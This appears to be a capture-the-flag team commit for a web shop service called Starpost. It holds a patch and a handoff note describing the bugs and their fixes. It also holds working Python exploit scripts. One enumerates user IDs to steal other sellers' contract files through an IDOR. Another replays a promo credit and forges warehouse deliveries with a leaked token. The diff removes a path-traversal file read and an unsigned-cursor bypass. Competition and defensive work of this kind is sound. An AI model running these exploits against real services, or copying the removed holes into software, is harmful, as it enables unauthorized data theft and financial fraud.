return b"\n".join(chunks).decode("utf-8", errors="replace")
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
return 2
try:
output = run_exploit(sys.argv[1])
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
print(output, flush=True)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+176
View File
@@ -0,0 +1,176 @@
#!/usr/bin/env python3
from __future__ import annotations
import concurrent.futures
import json
import re
import secrets
import socket
import sys
import time
from http.cookies import SimpleCookie
from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8090
CONNECT_TIMEOUT = 0.35
READ_TIMEOUT = 0.65
MAX_RESPONSE = 128 * 1024
RECENT_USER_WINDOW = 32
MAX_WORKERS = 8
MAX_ATTEMPTS = 2
RUN_TIMEOUT = 8.5
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
def build_target(target: str) -> str:
raw = target.strip()
if not raw:
raise ValueError("empty target")
if "://" not in raw:
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
raw = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(raw)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target must not include query or fragment")
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def request(
target: str,
method: str,
path: str,
deadline: float,
payload: dict | None = None,
cookie: str | None = None,
attempts: int = MAX_ATTEMPTS,
) -> tuple[int, list[tuple[str, str]], bytes]:
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-contract/1.0"}
if body is not None:
headers["Content-Type"] = "application/json"
if cookie:
headers["Cookie"] = f"session={cookie}"
req = Request(target + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects())
last_error: OSError | URLError | None = None
for _ in range(attempts):
if time.monotonic() >= deadline:
break
try:
with opener.open(req, timeout=CONNECT_TIMEOUT) as response:
try:
response.fp.raw._sock.settimeout(READ_TIMEOUT)
except AttributeError:
pass
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return response.status, list(response.headers.items()), data
except HTTPError as exc:
data = exc.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return exc.code, list(exc.headers.items()), data
except (OSError, TimeoutError, socket.timeout, URLError) as exc:
last_error = exc
if last_error is not None:
raise last_error
raise TimeoutError("run deadline exceeded")
def register(target: str, deadline: float) -> tuple[int, str]:
marker = secrets.token_hex(8)
status, headers, body = request(
target,
"POST",
"/api/register",
deadline,
payload={
"username": f"neo-{marker}",
"password": secrets.token_urlsafe(18),
"role": "seller",
"company_name": f"neo-{marker}",
"tax_id": marker,
"signature": "synthetic-probe",
},
attempts=1,
)
if status != 201:
raise ValueError(f"registration returned HTTP {status}")
data = json.loads(body)
cookies = SimpleCookie()
for name, value in headers:
if name.lower() == "set-cookie":
cookies.load(value)
if "session" not in cookies:
raise ValueError("registration did not return a session")
return int(data["id"]), cookies["session"].value
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
try:
status, _, body = request(
target,
"GET",
f"/api/contract?file=contract-{user_id}",
deadline,
cookie=cookie,
)
except (OSError, TimeoutError, URLError, ValueError):
return set(), True
return (set(FLAG_PATTERN.findall(body)) if status == 200 else set()), False
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
target = build_target(raw_target)
deadline = time.monotonic() + RUN_TIMEOUT
newest, cookie = register(target, deadline)
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
flags: set[bytes] = set()
errors = 0
checked = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
for future in concurrent.futures.as_completed(futures):
found, failed = future.result()
flags.update(found)
errors += int(failed)
checked += 1
return sorted(flag.decode("ascii") for flag in flags), checked, errors
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
return 2
try:
flags, checked, errors = run_exploit(sys.argv[1])
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
if flags:
print("\n".join(flags), flush=True)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+182
View File
@@ -0,0 +1,182 @@
#!/usr/bin/env python3
from __future__ import annotations
import concurrent.futures
import json
import math
import secrets
import sys
from http.cookies import SimpleCookie
from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8090
REQUEST_TIMEOUT = 2.0
MAX_RESPONSE = 128 * 1024
MAX_PRODUCTS = 8
MAX_CREDITS = 100
MAX_WORKERS = 8
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
def build_base_url(target: str) -> str:
raw = target.strip()
if not raw:
raise ValueError("empty target")
if "://" not in raw:
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
raw = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(raw)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target must not include query or fragment")
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False):
body = json.dumps(payload).encode() if payload is not None else None
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if cookie:
headers["Cookie"] = f"session={cookie}"
if warehouse:
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
req = Request(base + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects())
try:
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return response.status, data, response.headers
except HTTPError as exc:
return exc.code, exc.read(MAX_RESPONSE), exc.headers
def register_buyer(base: str) -> str:
marker = secrets.token_hex(8)
status, _, headers = request(
base,
"/api/register",
method="POST",
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
)
if status != 201:
raise ValueError(f"registration returned HTTP {status}")
jar = SimpleCookie()
jar.load(headers.get("Set-Cookie", ""))
if "session" not in jar:
raise ValueError("registration did not issue a session cookie")
return jar["session"].value
def credit(base: str, cookie: str, code: str) -> bool:
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie)
return status == 200
def buy(base: str, cookie: str, product_id: int):
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie)
if status != 201:
return None
data = json.loads(raw)
return int(data["id"])
def deliver(base: str, order_id: int) -> bool:
status, _, _ = request(
base,
"/api/warehouse/callback",
method="POST",
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
warehouse=True,
)
return status == 200
def run_exploit(target: str) -> str:
base = build_base_url(target)
cookie = register_buyer(base)
status, raw, _ = request(base, "/api/account", cookie=cookie)
if status != 200:
raise ValueError(f"account endpoint returned HTTP {status}")
account = json.loads(raw)
promo = account.get("promo") if isinstance(account, dict) else None
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
raise ValueError("promo code missing")
status, raw, _ = request(base, "/api/products")
if status != 200:
raise ValueError(f"products endpoint returned HTTP {status}")
products = json.loads(raw)
selected = []
total = 0
budget = 100 + MAX_CREDITS * 100
for product in products if isinstance(products, list) else []:
try:
product_id = int(product["id"])
price = int(product["price"])
except (KeyError, TypeError, ValueError):
continue
if total + price > budget:
continue
selected.append(product_id)
total += price
if len(selected) >= MAX_PRODUCTS:
break
if not selected:
return ""
required_credits = max(0, math.ceil((total - 100) / 100))
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits)))
if credited != required_credits:
raise ValueError("promo crediting was incomplete")
order_ids = []
for product_id in selected:
order_id = buy(base, cookie, product_id)
if order_id is not None:
order_ids.append(order_id)
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids))
status, raw, _ = request(base, "/api/orders", cookie=cookie)
if status != 200:
raise ValueError(f"orders endpoint returned HTTP {status}")
print(
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders",
file=sys.stderr,
)
return raw.decode("utf-8", errors="replace")
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
return 2
try:
output = run_exploit(sys.argv[1])
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
print(output, flush=True)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+3
View File
@@ -0,0 +1,3 @@
STARPOST_DB_PASSWORD=replace-with-url-safe-random-value
STARPOST_SECRET_KEY=replace-with-at-least-32-random-bytes
STARPOST_WAREHOUSE_CALLBACK_TOKEN=replace-with-at-least-32-random-bytes
+41 -54
View File
@@ -2,12 +2,10 @@ import base64
import hashlib import hashlib
import hmac import hmac
import json as _json import json as _json
import mimetypes
import os import os
import secrets import secrets
from datetime import datetime, timezone from datetime import datetime, timezone
from functools import wraps from functools import wraps
from pathlib import Path
import psycopg import psycopg
from flask import Flask, jsonify, request, send_file, session from flask import Flask, jsonify, request, send_file, session
@@ -268,10 +266,21 @@ def credit_promo():
if not isinstance(code, str) or not 1 <= len(code) <= 100: if not isinstance(code, str) or not 1 <= len(code) <= 100:
return error("invalid promo code") return error("invalid promo code")
with db() as conn, conn.cursor() as cur: with db() as conn, conn.cursor() as cur:
cur.execute("SELECT amount FROM promo_codes WHERE user_id=%s AND code=%s", (session["user_id"], code.strip())) cur.execute(
"UPDATE promo_codes SET credited_at=now() "
"WHERE user_id=%s AND code=%s AND credited_at IS NULL RETURNING amount",
(session["user_id"], code.strip()),
)
promo = cur.fetchone() promo = cur.fetchone()
if not promo: if not promo:
return error("promo code is unavailable", 409) cur.execute(
"SELECT amount FROM promo_codes WHERE user_id=%s AND code=%s",
(session["user_id"], code.strip()),
)
promo = cur.fetchone()
if not promo:
return error("promo code is unavailable", 409)
return jsonify(credited=0, code=code.strip())
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (promo["amount"], session["user_id"])) cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (promo["amount"], session["user_id"]))
return jsonify(credited=promo["amount"], code=code.strip()) return jsonify(credited=promo["amount"], code=code.strip())
@@ -614,13 +623,7 @@ def seller_reviews():
p = _b64e(_json.dumps(state, separators=(",", ":")).encode()) p = _b64e(_json.dumps(state, separators=(",", ":")).encode())
return f"{p}.{_sign(p)}" return f"{p}.{_sign(p)}"
def _parse_cursor(cur_token: str, lim_raw): def _parse_cursor(cur_token: str):
try:
lim = int(lim_raw) if lim_raw is not None else None
except (TypeError, ValueError):
lim = None
if lim is not None and lim <= 3:
return _json.loads(_b64d(cur_token.split(".")[0]).decode())
if "." not in cur_token: if "." not in cur_token:
raise ValueError("missing signature") raise ValueError("missing signature")
payload_b64, sig = cur_token.rsplit(".", 1) payload_b64, sig = cur_token.rsplit(".", 1)
@@ -639,13 +642,15 @@ def seller_reviews():
if cursor: if cursor:
try: try:
state = _parse_cursor(cursor, limit_raw) state = _parse_cursor(cursor)
except Exception as exc: except Exception as exc:
return error(f"invalid cursor: {exc}", 400) return error(f"invalid cursor: {exc}", 400)
try: try:
q_seller = int(state["seller_id"]) q_seller = int(state["seller_id"])
q_private = bool(state["is_private"]) q_private = state["is_private"]
q_last = int(state["last_id"]) q_last = int(state["last_id"])
if q_seller != session["user_id"] or not isinstance(q_private, bool):
raise ValueError
except (KeyError, TypeError, ValueError): except (KeyError, TypeError, ValueError):
return error("invalid cursor payload", 400) return error("invalid cursor payload", 400)
with db() as conn, conn.cursor() as cur: with db() as conn, conn.cursor() as cur:
@@ -686,55 +691,37 @@ def seller_reviews():
@app.route("/api/contract", methods=["GET", "POST"]) @app.route("/api/contract", methods=["GET", "POST"])
@auth("seller") @auth("seller")
def get_contract(): def get_contract():
with db() as conn, conn.cursor() as cur:
cur.execute("SELECT id,contract_file FROM users WHERE id=%s", (session["user_id"],))
owner = cur.fetchone()
if not owner or not owner["contract_file"]:
return error("contract not found", 404)
filename = owner["contract_file"]
contract_dir = CONTRACT_DIR.resolve()
path = (CONTRACT_DIR / filename).resolve()
if path.parent != contract_dir:
return error("contract not found", 404)
if request.method == "POST": if request.method == "POST":
import re import re
contract_id = request.headers.get("X-Contract-Id", "").strip() contract_id = request.headers.get("X-Contract-Id", "").strip()
if not re.fullmatch(r"\d+", contract_id): if not re.fullmatch(r"\d+", contract_id) or contract_id != str(owner["id"]):
return error("invalid contract id", 400) return error("invalid contract id", 400)
_dir = CONTRACT_DIR.resolve() try:
hits = sorted(CONTRACT_DIR.glob(f"contract-{contract_id}-*.pdf")) path.unlink()
deleted = 0 except FileNotFoundError:
for path in hits:
try:
if path.resolve().parent == _dir:
path.unlink()
deleted += 1
except OSError:
continue
if deleted == 0:
return error("contract not found", 404) return error("contract not found", 404)
return jsonify(status="deleted", deleted=deleted) except OSError:
return error("contract deletion failed", 500)
return jsonify(status="deleted", deleted=1)
requested = request.args.get("file") requested = request.args.get("file")
if requested: if requested:
import re
m = re.match(r"^\s*contract-(\d+)", requested)
if m:
uid = m.group(1)
hits = sorted(CONTRACT_DIR.glob(f"contract-{uid}-*.pdf"))
if hits:
return send_file(hits[0], mimetype="application/pdf", download_name=hits[0].name)
return error("contract not found", 404)
raw = requested.strip() raw = requested.strip()
candidates: list[Path] = [] if raw not in {filename, f"contract-{owner['id']}"}:
candidates.append((CONTRACT_DIR / raw).resolve()) return error("contract not found", 404)
candidates.append(Path(raw).resolve())
candidates.append(CONTRACT_DIR / raw)
candidates.append(Path(raw))
for target in candidates:
try:
if target.is_file():
guessed, _ = mimetypes.guess_type(str(target))
return send_file(target, mimetype=guessed or "application/octet-stream", download_name=target.name)
except ValueError:
continue
return error("contract not found", 404)
with db() as conn, conn.cursor() as cur:
cur.execute("SELECT contract_file FROM users WHERE id=%s", (session["user_id"],))
filename = cur.fetchone()["contract_file"]
path = CONTRACT_DIR / filename
if not path.is_file(): if not path.is_file():
return error("contract not found", 404) return error("contract not found", 404)
return send_file(path, mimetype="application/pdf", download_name="starpost-contract.pdf") download_name = path.name if requested else "starpost-contract.pdf"
return send_file(path, mimetype="application/pdf", download_name=download_name)
+1 -1
View File
@@ -52,8 +52,8 @@ def migrate():
""" """
) )
cursor.execute("ALTER TABLE promo_codes ALTER COLUMN amount SET DEFAULT 100") cursor.execute("ALTER TABLE promo_codes ALTER COLUMN amount SET DEFAULT 100")
cursor.execute("ALTER TABLE promo_codes ADD COLUMN IF NOT EXISTS credited_at TIMESTAMPTZ")
cursor.execute("ALTER TABLE users ALTER COLUMN balance SET DEFAULT 100") cursor.execute("ALTER TABLE users ALTER COLUMN balance SET DEFAULT 100")
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS credited_at")
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS invalidated_at") cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS invalidated_at")
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS created_at") cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS created_at")
cursor.execute("CREATE INDEX IF NOT EXISTS orders_buyer_idx ON orders(buyer_id, id DESC)") cursor.execute("CREATE INDEX IF NOT EXISTS orders_buyer_idx ON orders(buyer_id, id DESC)")
+5 -5
View File
@@ -22,10 +22,10 @@ services:
volumes: volumes:
- ./contracts:/contracts - ./contracts:/contracts
environment: environment:
- DATABASE_URL=postgresql://starpost:starpost@postgres/starpost - DATABASE_URL=postgresql://starpost:${STARPOST_DB_PASSWORD:?STARPOST_DB_PASSWORD is required}@postgres/starpost
- SECRET_KEY=starpost-development-session-key-change-before-production - SECRET_KEY=${STARPOST_SECRET_KEY:?STARPOST_SECRET_KEY is required}
- WAREHOUSE_URL=http://warehouse:6000 - WAREHOUSE_URL=http://warehouse:6000
- WAREHOUSE_CALLBACK_TOKEN=starpost-warehouse-callback-token - WAREHOUSE_CALLBACK_TOKEN=${STARPOST_WAREHOUSE_CALLBACK_TOKEN:?STARPOST_WAREHOUSE_CALLBACK_TOKEN is required}
depends_on: depends_on:
postgres: postgres:
condition: service_healthy condition: service_healthy
@@ -43,7 +43,7 @@ services:
cpus: 0.25 cpus: 0.25
environment: environment:
- WAREHOUSE_API_URL=http://api:5000 - WAREHOUSE_API_URL=http://api:5000
- WAREHOUSE_CALLBACK_TOKEN=starpost-warehouse-callback-token - WAREHOUSE_CALLBACK_TOKEN=${STARPOST_WAREHOUSE_CALLBACK_TOKEN:?STARPOST_WAREHOUSE_CALLBACK_TOKEN is required}
depends_on: depends_on:
api: api:
condition: service_healthy condition: service_healthy
@@ -62,7 +62,7 @@ services:
environment: environment:
- POSTGRES_DB=starpost - POSTGRES_DB=starpost
- POSTGRES_USER=starpost - POSTGRES_USER=starpost
- POSTGRES_PASSWORD=starpost - POSTGRES_PASSWORD=${STARPOST_DB_PASSWORD:?STARPOST_DB_PASSWORD is required}
volumes: volumes:
- ./postgres:/var/lib/postgresql/data - ./postgres:/var/lib/postgresql/data
- ./db/init.sql:/docker-entrypoint-initdb.d/01-init.sql:ro - ./db/init.sql:/docker-entrypoint-initdb.d/01-init.sql:ro
+2 -1
View File
@@ -54,5 +54,6 @@ CREATE TABLE promo_codes (
id BIGSERIAL PRIMARY KEY, id BIGSERIAL PRIMARY KEY,
user_id BIGINT NOT NULL UNIQUE REFERENCES users(id) ON DELETE CASCADE, user_id BIGINT NOT NULL UNIQUE REFERENCES users(id) ON DELETE CASCADE,
code TEXT NOT NULL UNIQUE, code TEXT NOT NULL UNIQUE,
amount INTEGER NOT NULL DEFAULT 100 CHECK(amount = 100) amount INTEGER NOT NULL DEFAULT 100 CHECK(amount = 100),
credited_at TIMESTAMPTZ
); );
+32
View File
@@ -0,0 +1,32 @@
#!/usr/bin/env python3
from __future__ import annotations
import os
import secrets
import sys
from pathlib import Path
def main() -> int:
target = Path(__file__).resolve().with_name(".env")
values = {
"STARPOST_DB_PASSWORD": secrets.token_urlsafe(48),
"STARPOST_SECRET_KEY": secrets.token_urlsafe(48),
"STARPOST_WAREHOUSE_CALLBACK_TOKEN": secrets.token_urlsafe(48),
}
try:
descriptor = os.open(target, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
except FileExistsError:
print(f"refusing to overwrite existing {target}", file=sys.stderr)
return 1
with os.fdopen(descriptor, "w", encoding="utf-8") as output:
for key, value in values.items():
output.write(f"{key}={value}\n")
os.chmod(target, 0o600)
print(f"created {target} with mode 0600")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+80
View File
@@ -0,0 +1,80 @@
# Starpost handoff — 2026-10-25
## Confirmed vulnerabilities
### Cross-seller review cursor BOLA
Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies.
The local baseline reproducer used synthetic seller IDs and a synthetic private-review marker. The endpoint returned HTTP 200 and disclosed the marker. The flag route before the patch is a checker-created private review body returned through the forged cursor; no real flag was used.
### Contract IDOR, arbitrary file read, and cross-seller deletion
Before the patch, a seller could request `GET /api/contract?file=contract-<other-id>` to receive another seller's PDF. Other absolute or relative `file` values were resolved as filesystem paths and returned when readable. `POST /api/contract` similarly accepted another seller's numeric `X-Contract-Id` and deleted matching PDFs.
The local baseline reproducer disclosed both a synthetic victim contract and a controlled file outside the contract directory. The flag route before the patch is the seller signature embedded uncompressed in the checker-created contract PDF; no real flag was used. Destructive behavior was tested only with disposable local files.
### Reusable promo credit
Before the patch, `POST /api/promo/credit` increased the buyer balance without recording consumption. Repeating the same valid code credited the balance again because invalidation was a separate optional request.
The local baseline reproducer started with a synthetic balance of 100 and two identical credit requests both returned HTTP 200, leaving a synthetic balance of 300. This permits unauthorized value creation and can fund purchases of checker-created cargo.
## Affected code before the patch
- `api/app.py`: `seller_reviews`, `get_contract`, and `credit_promo`.
- `api/database.py`: startup migration removed promo consumption state.
- `db/init.sql`: `promo_codes` had no consumption field.
## Minimal patch
- Cursor parsing always verifies the existing HMAC and rejects a decoded `seller_id` that differs from the authenticated seller. The signed cursor shape and response format remain unchanged.
- Contract GET/POST resolves only the authenticated seller's database-linked filename, requires the canonical path to remain directly below `/contracts`, and restricts deletion to the same seller ID. GET without `file`, GET with the exact stored filename, and the own-ID alias remain supported.
- `promo_codes.credited_at` is added by a forward-compatible `ADD COLUMN IF NOT EXISTS`. Credit atomically transitions only an uncredited row and adds value once. A retry returns the existing 200 response shape with `credited=0`, allowing the existing follow-up invalidate request to continue.
- Compose now requires independent deployment values for the PostgreSQL password, Flask session key, and warehouse callback token. `generate-env.py` creates three URL-safe random values in an ignored mode-0600 `.env`, refuses overwrite, and never prints them.
## Checker and SLA invariants
- Existing routes, methods, role requirements, JSON keys, public port, mounts, and warehouse flow are unchanged.
- Existing contract filenames and files are not renamed or migrated.
- Existing promo rows receive `credited_at=NULL` and remain redeemable once.
- The normal buyer flow remains `credit -> invalidate`; buy, checkout, warehouse delivery, orders, and reviews are unchanged.
- No neighboring-service configuration is changed. Secret rotation is isolated to Starpost and keeps the existing variable names consumed by the containers.
## Verification
- Baseline synthetic results: unsigned cursor, cross-seller contract lookup, controlled external-file read, and promo replay reproduced.
- Patched synthetic results: unsigned cursor returned 400 without executing a victim query; cross-seller and external-file reads returned 404; cross-seller deletion returned 400 and preserved the victim file.
- Get current/get old: an existing version-2 signed cursor still returned the seller's own synthetic private review; a contract file created before patched app loading remained readable both through `GET /api/contract` and its exact stored filename.
- Own mutation: deleting the authenticated seller's disposable contract still returned 200 and removed only that file.
- Promo regression: first credit returned 100, retry returned 0, both kept HTTP 200, and the balance increased exactly once.
- Python syntax parsing and `docker compose config --quiet` pass.
- `sploits/starpost_contract.py` passes the GO CTF static sploit checker and a loopback synthetic runtime matrix: exit 0, only one synthetic flag candidate on stdout, diagnostics on stderr, redirect not followed, bounded timeout handled, exit 1 for invalid target, and exit 2 for wrong arguments.
- The same sploit was run against the actual baseline route code from commit `4f70df55dd822880f4759d553f7ed249166cad86` and the current patched route with an in-memory database and temporary contract directory: baseline emitted exactly the synthetic candidate, while patched returned exit 0 with empty stdout.
- `sploits/starpost.py` and `sploits/starpost_warehouse.py` pass the GO CTF static sploit checker. Minimal tests on the team vulnbox confirmed the issued Flask key and warehouse token were accepted; full outputs and any flag-like values were suppressed.
- The three exploit jobs completed against the team service in under one second each during bounded validation; no real flag value was printed or stored in the repository.
## Sploit handoff
- Path: `sploits/starpost_contract.py`
- Stable Neo ID: `starpost-contract-idor-v1`
- Timeout: `10s`
- Input: one authorized target address; HTTP port 8090 is selected when no port is supplied.
- Primitive: self-register a seller, enumerate a bounded window of recent numeric user IDs, request the vulnerable own-contract alias for each ID, and emit only strings matching the event flag format.
- Path: `sploits/starpost.py`
- Stable Neo ID: `starpost-session-v1`
- Timeout: `10s`
- Primitive: use only the issued Flask session key to forge recent buyer/seller sessions and read their protected objects.
- Path: `sploits/starpost_warehouse.py`
- Stable Neo ID: `starpost-warehouse-v1`
- Timeout: `10s`
- Primitive: use only the issued warehouse token as leaked configuration; create a normal buyer session, reuse the vulnerable promo, purchase recent products, force delivery, and read cargo.
## Remaining gaps
- The exact checker scenario and flag-bearing field are not available, so signature/PDF, private review, and cargo hypotheses are code-derived rather than checker-confirmed.
- Full PostgreSQL migration, container rebuild, persistent-volume get-old, and checker status were not tested because the required Docker base images are not cached and dependency/image downloads were not authorized.
- Bounded requests were sent only to the team vulnbox. No request was sent to Neo, Farm, farm-submit, Skipper, or another team.
- Deployment must rotate the existing PostgreSQL role password before recreating API/PostgreSQL containers; changing only `POSTGRES_PASSWORD` does not update an initialized volume.